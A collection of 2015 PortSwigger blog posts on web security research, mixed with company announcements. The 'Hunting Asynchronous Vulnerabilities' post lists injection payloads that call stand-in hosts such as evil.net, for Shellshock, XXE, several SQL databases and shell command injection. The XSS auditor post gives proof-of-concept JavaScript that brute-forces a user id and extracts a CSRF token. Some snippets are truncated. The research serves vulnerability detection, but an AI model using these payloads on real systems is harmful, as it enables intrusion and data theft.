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PortSwigger Web Security Blog

Monday, November 16, 2015

XSS in Hidden Input Fields

At PortSwigger, we regularly run pre-release builds of Burp Suite against an internal testbed of popular web applications to make sure it's behaving properly. Whilst doing this recently, Liam found a Cross-Site Scripting (XSS) vulnerability in [REDACTED], inside a hidden input element:
<input type="hidden" name="redacted" value="default" injection="xss" />
XSS in hidden inputs is frequently very difficult to exploit because typical JavaScript events like onmouseover and onfocus can't be triggered due to the element being invisible.

I decided to investigate further to see if it was possible to exploit this on a modern browser. I tried a bunch of stuff like autofocus, CSS tricks and other stuff. Eventually I thought about access keys and wondered if the onclick event would be called on the hidden input when it activated via an access key. It most certainly does on Firefox! This means we can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
This vector isn't ideal because it involves some user interaction, but it's vastly better than expression() which only works on IE<=9.

Note: We've reported this vulnerability to the application's security team. However, they haven't responded in any way after 12 days and a couple of emails. We wanted to make people aware of this particular technique, but we won't be naming the vulnerable application concerned until a patch is available.

This isn't the first time that Burp Scanner has unearthed a vulnerability in an extremely popular web application, and we doubt it will be the last.

Mind those access keys... - @garethheyes

Tuesday, September 15, 2015

Hunting Asynchronous Vulnerabilities

As the video of my 44Con presentation Hunting Asynchronous Vulnerabilities probably won't be available for a while, I thought I'd provide a mildly abridged (and less vendor-neutral) writeup of the core technical content. You can download the slides here.

In blackbox tests vulnerabilities can lurk out of sight in backend functions and background threads. Issues with no visible symptoms, like blind second order SQL injection and shell command injection via nightly cronjobs or asynchronous logging functions, can easily survive repeated pentests and arrive in production unfixed.

The only way to reliably hunt these down is using exploit-induced callbacks. That is, for each potential vulnerability X send an exploit that will ping your server if it fires, then patiently listen. Since the release of Burp Collaborator, we have been able to use callback based vulnerability hunting techniques in Burp Scanner. This post details some of the ongoing research I've been doing on callback based vulnerability hunting.

The asynchronous problem

Many asynchronous vulnerabilities are invisible. That is, there's no way to:
  • Trigger error messages
  • Cause differences in application output
  • Cause detectable time delays
This makes them inherently difficult to find. Please note that invisible vulnerabilities should not be confused with 'blind' SQL injection; with blind SQL injection an attacker can typically cause a noticeable time delay or difference in page output.

Invisible vulnerabilities can be roughly grouped into three types:
  • Server-side vulnerabilities in processing that occurs in a background thread, such as a shell command injection in a nightly cronjob or SQLi in a queued transaction. Here, a crafted payload might trigger a time delay, but the delay would only affect a background thread so it wouldn't be detectable. 
  • Blind vulnerabilities that are triggered by a secondary event, such as blind XSS and some second order SQLi. Detection of these issues using normal techniques is possible but often tricky and error-prone.
  • Vulnerabilities where there is no way to cause a difference in application output, and the technology doesn't support anything that can be used to cause a reliable time delay. For example, blind XXE or XPath injection.

The asynchronous solution

Asynchronous vulnerabilities can be found by supplying a payload that triggers a callback - an out-of-band connection from the vulnerable application to an attacker-controlled listener.

For example, the following payload was observed being used to detect servers vulnerable to Shellshock:
() { :;}; echo 1 > /dev/udp/evil.com/53
This payload tries to exploit the Shellshock vulnerability to make the targeted system send a UDP packet to port 53 of evil.com. If evil.com receives such a packet, that indicates that the connecting server is vulnerable and they can follow up with further exploits.

Many common vulnerability classes can be identified by delivering an exploit that triggers a callback, making it possible to find these vulnerabilities without relying on any application output. Burp Suite uses the Burp Collaborator server as a receiver for these external interactions:

DNS is the ideal protocol for triggering callbacks, as it's rarely filtered outbound on networks and also underpins many other network protocols.

Callback development

Crafting an exploit for a typical vulnerability is an iterative process; based on application feedback an attacker can start with a generic fuzz string and slowly refine it into a working payload. Creating an effective callback-issuing payload can be difficult because callback exploits fail hard - if the exploit fails, you get no indication that the application is vulnerable.

As a result, the quality of callback exploits is crucial - they should work without modification in as many situations as possible. An ideal callback exploit will work regardless of the vulnerable software implementation, underlying operating system, and the context it appears in, and be resistant to common filters.

XML vulnerabilities

A key way to achieve environment insensitivity is to use features of the vulnerability itself to issue the callback. For example, the following XML document uses six different XML vulnerabilities/features to attempt to issue a callback.
<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?>
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [
  <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a">
  <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a">
  <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include
    href="http://xi.evil.net/" ></x>
  <y xmlns=http://a.b/
The final two payloads here - XInclude and schemaLocation - are particularly powerful because they don't require complete control over the XML document to work. This means that they can be used to find blind XML Injection, a vulnerability that is otherwise extremely difficult to identify.

SQL Injection

SQL itself doesn't define any statements that we can use to issue a callback, so we'll need to look at each popular SQL database implementation individually.


PostgreSQL is easy to trigger a callback from, provided the database user has sufficient privileges. The copy command can be used to invoke arbitrary shell commands:
copy (select '') to program 'nslookup evil.net'
I've used nslookup here because it's available on both windows and *nix systems by default. Ping is an obvious alternative, but when invoked on Linux it never exits and thus may hang the executing thread.

MySQL and SQLite3

On Windows, most filesystem functions can be fed a UNC path - a special type of file path that can reference a resource on an external server, and thus triggers a DNS lookup. This means that on Windows almost all file I/O functions can be used to trigger a callback.

SQLite3 has two useful features that can be used to cause a callback via a UNC path:
;attach database '//evil.net/z' as 'z'-- -

(SELECT load_extension('//foo'))
Neither is perfect - the former requires batched queries, and the latter relies on load_extension being enabled.

MySQL has a couple of similar functions, neither of which require batched queries:

SELECT … INTO OUTFILE '\\\\evil.net\foo'


Microsoft SQL Server offers quite a few ways to trigger pingbacks:
SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a',   'select 1 from dual')
(Requires 'ad hoc distributed queries')
EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'
(Requires sysadmin privileges)
BULK INSERT mytable FROM '\\\\evil.net$file'
(Requires bulk insert privileges)
EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo'
(Ideal - requires sysadmin privileges but checks privileges after DNS lookup)

Oracle SQL

Oracle offers a huge number of ways to trigger a callback: UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…

If you like you can use UTL_SMTP to write a SQL injection payload that sends you an email describing the vulnerability when executed. However, they all require assorted privileges that we might not have.

Fortunately, there's another option. Oracle has built-in XML parsing functionality, which can be invoked by low privilege users. And, yes, recently Khai Tran of NetSPI found that Oracle is vulnerable to XXE Injection. This means that we can chain our SQL injection with an XXE payload to trigger a callback with no privileges:
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %  remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')

Write-based callbacks

As you've probably noticed by this point, non-Windows systems are quite a lot harder to trigger callbacks on because the core filesystem APIs don't support UNC paths. However, we may be able to indirectly trigger a callback via a 'write a file' function.

The obvious way to do this is to write a web shell inside the webroot. However, this isn't ideal from an automated scanner's perspective - we don't know where the webroot is so we'd have to spray the filesystem with shells, which clients might not be too happy about.

A less harmful alternative approach is to exploit mailspools / maildrops. Some mailers have a folder where any correctly formatted files will be periodically grabbed and emailed out. This approach looked promising at first, but I couldn't get it to work on any major *nix mailers without root privileges, making it pretty much useless.

There's one other option - we can try to tweak a config file. Although MySQL's SELECT INTO OUTFILE can't be used to overwrite files, MySQL itself uses a file loading strategy that means we can potentially override options without actually need to overwrite an existing file. A file written to $MYSQL_HOME/my.cnf or ~/.my.cnf will take precedence over the global /etc/mysql/my.cnf file. We can trigger a callback when the server is next restarted by overriding the bind-address option with our hostname. There is a slight catch - the server will then try to bind to that interface and probably fail to start. We can mitigate this by responding to the DNS lookup with, making the server bind to all available interfaces. However, this causes other issues which are left to the reader's imagination.

Shell command injection

Triggering a callback when we have arbitrary code execution is really easy. That said, we don't necessarily know what context our string is appearing in, or even what the underlying operating system is. It would be ideal to craft a payload that worked in every plausible context:
bash   :$ command arg1 input arg3
bash ":$ command arg1 "input" arg3
base  ':$ command arg1 'input' arg3
win  : >command arg1 input arg3
win ": >command arg1 "input" arg3
By creating a test page that executed the supplied string in each of the five contexts, and iteratively tweaking it to improve coverage, I developed the following payload:
&nslookup evil.net&'\"`0&nslookup evil.net&`'
bash  : &nslookup evil.net&'\"`0&nslookup evil.net&`'
bash ": &nslookup evil.net&'\"`0&nslookup evil.net&`'
bash ': &nslookup evil.net&'\"`0&nslookup evil.net&`'
win   : &nslookup evil.net&'\"`0&nslookup evil.net&`'
win  ": &nslookup evil.net&'\"`0&nslookup evil.net&`'

Key: ignored context-breakout dud-statement injected-command ignored

Cross-Site Scripting

As with shell command injection, it's easy to use XSS to trigger a pingback, but we don't know what the syntax surrounding our input will be - we might be landing inside a quoted attribute, or a <script> block, etc. We also don't know which characters may be filtered or encoded.

Gareth Heyes crafted a superb payload to work in most common contexts. First it breaks out of script context and opens an SVG event handler:
Then it breaks out of single-quoted attribute, double-quoted attribute, and single/double quoted JavaScript literal contexts:
After this point everything is executed as JavaScript, so it's just a matter of importing an external JavaScript file, and grabbing a stack trace to help track down the issue afterwards:
Burp Suite will be using this payload as part of its active scanner within the next few months. If you're impatient, check out the Sleepy Puppy blind XSS framework recently released by Netflix.

Asynchronous Exploit Demo

The live demo showed an asynchronous Formula Injection vulnerability being used to exploit users of a fully patched analytics application:

The version of LibreOffice shown in the demo is missing a few security patches and thus vulnerable to CVE-2014-3524. The Microsoft Excel installation is fully patched.


Of the techniques discussed, Burp Suite currently uses all the XML attacks, the shell command injection attack, and the best SQL ones. Blind XSS checks are coming soon. We're excited to see if these techniques root out some vulnerabilities that have been allowed to stay hidden for too long. Hopefully this has also provided a solid a rationale for why it's worth deploying your own private Collaborator server if you'd prefer not to use PortSwigger's public one.

Enjoy - @albinowax

Monday, September 7, 2015

T-shirt competition winners

We've just mailed out prizes to the winners of our T-shirt competition.

Below are the 40 entries that won a Burp Suite T-shirt:
  • @0xdeadb - [...] callbacks.setExtensionName("I love Burp Suite because it can be extended for my specific needs"); [...]
  • @7MinSec - I love Burp Suite because I can tell clients "I'm gonna hit you with a cluster bomb & then a pitch fork!" and not get arrested.
  • @JGJones - I love Burp Suite because I can claim my baby daughter is an awesome hacker whenever she burps. Pic: with nethacker http://t.co/u5LwpKmeUk
  • @JGamblin - I love Burp Suite because there is nothing like the CFO calling and asking "What is a Burp Suite is and why do we need 8 of them?"
  • @SelsRoger - I love Burp Suite because it allows for repeatable - help I'm being held hostage in an XSS factory- results.
  • @TryCatchHCF - I love Burp Suite because customizing Intruder attack types and positions show me the smoke that leads me to building the fire.
  • @Yabadabaduca - I love Burp Suite because it satisfies my needs better than my husband
  • @benholley - I love Burp Suite because @PortSwigger answers support emails personally. And quickly.
  • @blitzfranklyn - I love Burp Suite because my wife says it makes me look sexy!
  • @c0ncealed - I love Burp Suite because screenshots with: ? Credit Card Data / PII ? Site Secured by $vendor logo ? Burp Suite ...make a report!
  • @c1472b039f12485 - I love Burp Suite because I intercepted this tweet and made it something wittier
  • @crisp0r - I love Burp Suite because Peter Weiner grew up and stopped getting me into awkward conversations
  • @eficker - I love Burp Suite because no matter what horse manure (read obscure) encoding a site happens to use, it always proxy's up in plaintext. <3
  • @gsuberland - I love Burp Suite because SSBsb3ZlIEJ1cnAgU3VpdGUgYmVjYXVzZSBjbVZqZFhKemFXOXVJR2x6SUdaMWJnPT0=
  • @infosecabaret - I love Burp Suite because You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version f
  • @irsdl - I love Burp Suite because of the great minds behind it! because I loved WAHH ;) From WebAppSec lovers 4 WebAppSec lovers!!!
  • @itsec4u - I love Burp Suite because .. it's your Swiss Army knife in the dark realm of AppSec threats !
  • @j34n_d - I love Burp Suite because the repeater, repeater, repeater, repeater, repeater, repeater, repeater, repeater, is so easy to use.
  • @jakx_ - I love Burp Suite because Peter weiner for president! Cc @peterwintrsmith
  • @joshbozarth - I love Burp Suite because it’s better than Burp Sour.
  • @lnxdork - I love Burp Suite, it works with my selenium scripts to make security checking web app updates into a repeatable process!
  • @magnusstubman - I love Burp Suite because
  • @michaelsmyname - I love Burp Suite because bug bounties wouldn't be as fun without it.
  • @mikerod_sd - I love Burp Suite because I can simulate manual testing when I need to go to the doctors...... or recover from a hangover
  • @n0x00 - I love Burp Suite because the sound of whimpering dev's denied 'go live' gives me a semi :D? ... too ... too much ?
  • @n3tjunki3 - . I love Burp Suite because it's like a cheeky Nando's
  • @phillips321 - I love Burp Suite because without it I could not have an 'extended' lunch break, thanks @PortSwigger for the Simulate manual testing feature
  • @pjgmonteiro - I love Burp Suite because my favorite toy when I was younger were LEGO, now is the Burp Suite.
  • @pytharmani - I love Burp Suite because some developers be like "what?? How?? Even with HTTPS??"
  • @righettod - I love Burp Suite because it's like Nutella, once you have try it you cannot use another tool.
  • @schniggie - I love Burp Suite because it's the best web security tool you can get and buy by only pwning one bug. ROI is almost 0day :-)
  • @seanmeals - I love Burp Suite because it's helped me make a killing on bug bounties for a small investment of $300.
  • @sizzop - I love Burp Suite because "><script>alert('pwnd')</script>
  • @strawp - I love §Burp Suite§ §reasons§
  • @thedarkmint - I love Burp Suite because it's the mutant Swiss Army knife of web testing
  • @thegmoo - I love Burp Suite because it's possible to use Repeater to automate extreme participation in this contest
  • @tsmalmbe - I love Burp Suite because it swiggs my ports just right
  • @waptor75 - I love Burp Suite because it's my appsec Swiss Army chainsaw.
  • @ydoow - I love Burp Suite because the price seems even reasonable to tight arse northerners
  • @zebarg - I love Burp Suite because it made a vulgar word acceptable in professional conversations.

Friday, August 28, 2015

Burp Suite training courses

We're very pleased to announce an expanded list of Burp Suite training partners. Whether you are a Burp novice or an expert user, our training partners can offer you hands-on training to help you to get the most out of Burp Suite.

Our training partners offer courses at public events, and all courses can be presented privately on-site at your location.

The new Burp Suite Training page includes details of the different courses that are available, and dates of forthcoming public events where these training courses will be happening. Over time, we'll be adding details of more training partners to provide an even wider range of course options.

Thursday, August 27, 2015

Gartner continues to recognize PortSwigger as a Challenger for Application Security Testing in 2015

On August 6 2015 Gartner released its annual Magic Quadrant for Application Security Testing, with PortSwigger Web Security placed as a Challenger* for the second year, based on its ability to execute and completeness of vision.

In this latest report, analysts Joseph Feiman and Neil MacDonald state that “highly publicized breaches in the last 12 months have raised awareness of the need to identify and remediate vulnerabilities at the application layer”. In addition, that “attackers have increased the sophistication and frequency of their attacks, motivated financially by the theft of monetary assets, intellectual property and sensitive information”.

At PortSwigger we have always believed in pushing the boundaries of web security testing, and we continue to invest heavily in our research and development capabilities to help our users to respond to the rapidly evolving threats they face.

Dafydd Stuttard, founder of PortSwigger Web Security commented:

“Our accelerated investment and ambitious roadmap over the last 12 months have resulted in developments that have fundamentally improved the web scanning functionality that is available to our users.

“We released Burp Collaborator in April of this year, which has the potential to revolutionize web security testing. Over time, Burp Collaborator will enable Burp to detect issues like blind XSS, asynchronous code injection, and various as-yet-unclassified vulnerabilities. In the coming months, we will be adding many exciting new capabilities to Burp, based on the Collaborator technology.

“We have also pioneered research into two completely new types of vulnerability. Over the past 12 months we have released scan checks to find both server-side template injection and PRSSI (path-relative style sheet imports). Burp was the first scanner to detect these two serious vulnerabilities.”

Stuttard goes onto say that he is excited about the next 12 months at PortSwigger. “As one of the most widely adopted web security tools in the marketplace, we have a very large and loyal user community, which we will continue to listen to. That, coupled with our ability to remain agile as a company, allows us to respond rapidly to market developments. We are expecting to release many new exciting features in the coming months.”
*Gartner define Challengers in this magic quadrant as “vendors that have executed consistently, typically by focusing on a single technology (for example, SAST or DAST) or a single delivery model (for example, on AST as a service only). In addition, they have demonstrated substantial competitive capabilities against the Leaders in this particular focus area, and also have demonstrated momentum in their customer base in terms of overall size and growth.”

PortSwigger Web Security is a global leader in the creation of software tools for security testing of web applications. For nearly a decade, we have worked at the cutting edge of the web security industry, and our suite of tools is well established as the de facto standard toolkit used by web security professionals.

Gartner disclaimer: Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation . Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

Wednesday, August 26, 2015

New release cycle for Burp Suite Free Edition

For a long time, we've released updates to Burp Suite Free Edition every year or so, when Burp gets a new major version number. The Professional Edition is updated much more frequently, often a few times per month.

We've decided to change the Free Edition release cycle, for two reasons:
  • From time to time, we apply fixes within Burp to accommodate changes in modern browsers, cryptographic standards, or other developments. It's not good for the Free Edition to lag behind on these kind of updates.
  • We work continuously on incremental enhancements to Burp, and it is sometimes artificial to pick a particular update out as being a "major" release. We don't want to be incrementing our major version number solely because we're overdue an update of the Free Edition.
Starting today, we will release updates to the Free Edition of Burp much more frequently. Every few versions of the Professional Edition will be accompanied by an update to the Free Edition. Since the majority of updates to the Professional Edition only change features within that edition, such as Burp Scanner, it isn't necessary to update the Free Edition every time. But we will do so periodically whenever changes have been made that apply to both editions.

Of course, the Free Edition of Burp will always continue to remain free of charge, and the frequent updates we make to the Professional Edition will still be made available to licensed users without any additional charge.

Monday, August 17, 2015

Abusing Chrome's XSS auditor to steal tokens

Detecting XSS Auditor

James pointed out to me that XSS auditor in Chrome has a block mode and I thought it might be interesting to see if this could be exploited in some way. When the http header is set "X-XSS-Protection: 1; mode=block" XSS auditor removes all content on the page when a XSS attack is detected. I thought could use this to my advantage because if the target site contained an iframe then I could use the length property of the window to detect if the iframe was destroyed. In all modern browsers you can use contentWindow.length across domains. As the following code demonstrates.
<iframe onload="alert(this.contentWindow.length)" src="http://somedomain/with_iframe"></iframe>
So if the site has an iframe you will see an alert box with 1 and if not an alert of 0. If there is more than one iframe then it will alert the amount of iframes on the site. Basically this gives us a true or false condition to detect XSS auditor.

Getting a user id

My first thoughts on how to exploit this was to read a user id from in-line script. By injecting fake XSS vectors and monitoring the length property to see if the XSS auditor was active. Injecting a series of fake vectors incrementing the user id each time to detect the correct value. The output of the target page would look like this:
header("X-XSS-Protection: 1; mode=block");



uid = 1337;

As you can see we put the XSS filter in block mode, the page contains an iframe and the script block contains a user id. Here's what the fake vectors look like:
?fakevector=<script>%0auid = 1;%0a
?fakevector=<script>%0auid = 2;%0a
?fakevector=<script>%0auid = 3;%0a
?fakevector=<script>%0auid = 4;%0a
XSS auditor ignores the closing script but the ending new line is required in order to detect XSS. Here is a simple PoC to extract the uid:
 var url = 'http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = %s;%0a<\/script>',
  amount = 9999, maxNumOfIframes = 1;
 for(var i=0;i<maxNumOfIframes;i++) {
 function createIframe(min, max) {
  var iframe = document.createElement('iframe'), div, p = document.createElement('p');
  iframe.title = min;
  iframe.onload = function() {
    p.innerText = 'uid='+this.title;
    return false;
   if(this.title > max) {
   } else {
    this.contentWindow.location = url.replace(/%s/,++this.title)+'&'+(+new Date);
   p.innerText = 'Bruteforcing...'+this.title;
  iframe.src = url.replace(/%s/,iframe.title);
The code creates one iframe (you could create multiple iframes but in this instance 1 iframe was faster), uses the onload handler and checks the contentWindow.length if it's found it returns the user id otherwise it tries the next value by setting the iframe location.

Using windows

If a website has x-frame-options or a CSP policy that prevents the site from being framed it's still possible to detect XSS auditor using new windows. Unfortunately we can't use the onload event handler for new windows as this isn't allowed cross domain for security reasons however we can get round this using timeouts/intervals to wait for the page to load.  The code looks like this:
function poc(id) {
 if(!window.win) {
  win = window.open('http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id+';%0a<\/script>&'+(+new Date),'');
 } else {
  win.location = 'http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id+';%0a<\/script>&'+(+new Date);
  try {
  } catch(e) {  
   if(win && !win.length) {
   } else {
<a href="#" onclick="poc(1)">PoC</a>
The first line checks if we already have a window, if not it creates a new window and stores a reference to it in a global variable. Then we use an interval with 20 milliseconds to repeatedly check if the XSS detection happened and if not it will call the function again.

Stealing tokens

So far the techniques presented are cool but a bit lame since they are quite restrictive in the data they can retrieve and require the script blocks to be formed in a certain way. Eduardo Vela suggested that I use form action and a existing parameter to pad the filter. I created a PoC that successfully extracts a 32 char hash from a form action!

The page requires an iframe, block mode and a filtered parameter that appears before the token you want to extract. It looks like this:
header("X-XSS-Protection: 1;mode=block"); 
if(!isset($_SESSION['token'])) {
 $token = md5(time());
 $_SESSION['token'] = $token;
} else {
 $token = $_SESSION['token'];

<form action="testurl.php?x=<?php echo htmlentities($_GET['x'])?>&token=<?php echo $token?>"></form>

<?php echo $token?>
The "x" parameter is used to pad the XSS filter to be within the max match length minus 1 so that we can detect part of the token. As each part of the token is detected we reduce the padding accordingly and scan for the next character but there is a complication, zeros are ignored by XSS Auditor this means our string wouldn't be matched and we can't detect zeros because they are ignored. The way round this was to inject every character except zero and if the character isn't being detected once it's gone through the entire hex character set then the character must be zero. This works perfectly well except if there are two zeros adjacent, in this instance I check if there are more than two rounds of checks then there must be two zeros! I remove two characters of the detected token and push in two zeros.

Here is the PoC code:
<div id="x"></div>
function poc(){
 var iframe = document.createElement('iframe'),
  padding = '1234567891234567891234567891234567891234567891234567891234567891234567'.split(''),
  token = "a".split(''),
  tokenLen = 32, its = 0,
  url = 'http://somedomain/chrome_xss_filter_bruteforce/form.php?x=%s&fakeparam=%3Cform%20action=%22testurl.php?x=%s2&token=%s3', last, repeated = 0;
 iframe.src = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));
 iframe.width = 700;
 iframe.height = 500;
 iframe.onload = function() {
  if(token.length === tokenLen+1) {
   alert('The token is:'+token.slice(0,-1).join(''));
   document.getElementById('x').innerText = document.getElementById('x').innerText.slice(0,-1);
   return false;
  if(this.contentWindow.length) {
   if(its > 20) {
    token[token.length-1] = '0';
    its = 0;
   if(repeated > 2) {
    repeated = 0;
    its = 0;
    token[token.length-1] = '0';
   this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));
  } else {
   repeated = 0;
   its = 0;
   this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));
  document.getElementById('x').innerText = 'Token:'+token.join('');
 function getNextChar() {
  chr = token[token.length-1]; 
  if(chr === 'f' && last === 'f') {
   token[token.length-1] = '1';
   last = '1';
   return false;
  }  else if(chr === '9' && last === '9') {
   token[token.length-1] = 'a';
   last = 'a';
   return false;
  if(chr >= 'a' && chr < 'f') {
   token[token.length-1] = String.fromCharCode(chr.charCodeAt()+1);
  } else if(chr === 'f') {
   token[token.length-1] = 'f';
  }  else if(chr >= '0' && chr < '9') {
   token[token.length-1] = String.fromCharCode(chr.charCodeAt()+1);
  }  else if(chr === '9') {
   token[token.length-1] = '9';
  last = chr;
First the padding is injected into the real parameter, then also into our fake parameter along with the form action url. The token can now be checked one character at a time. "its" contains the current iterations if it's above 20 then no character is being detected so it means it must be a zero. If this process is repeated more than twice we have two zeros.

The final PoC is available here. It has been patched in the latest version of Chrome and the PoC no longer works. However here is a video demonstrating the flaw:

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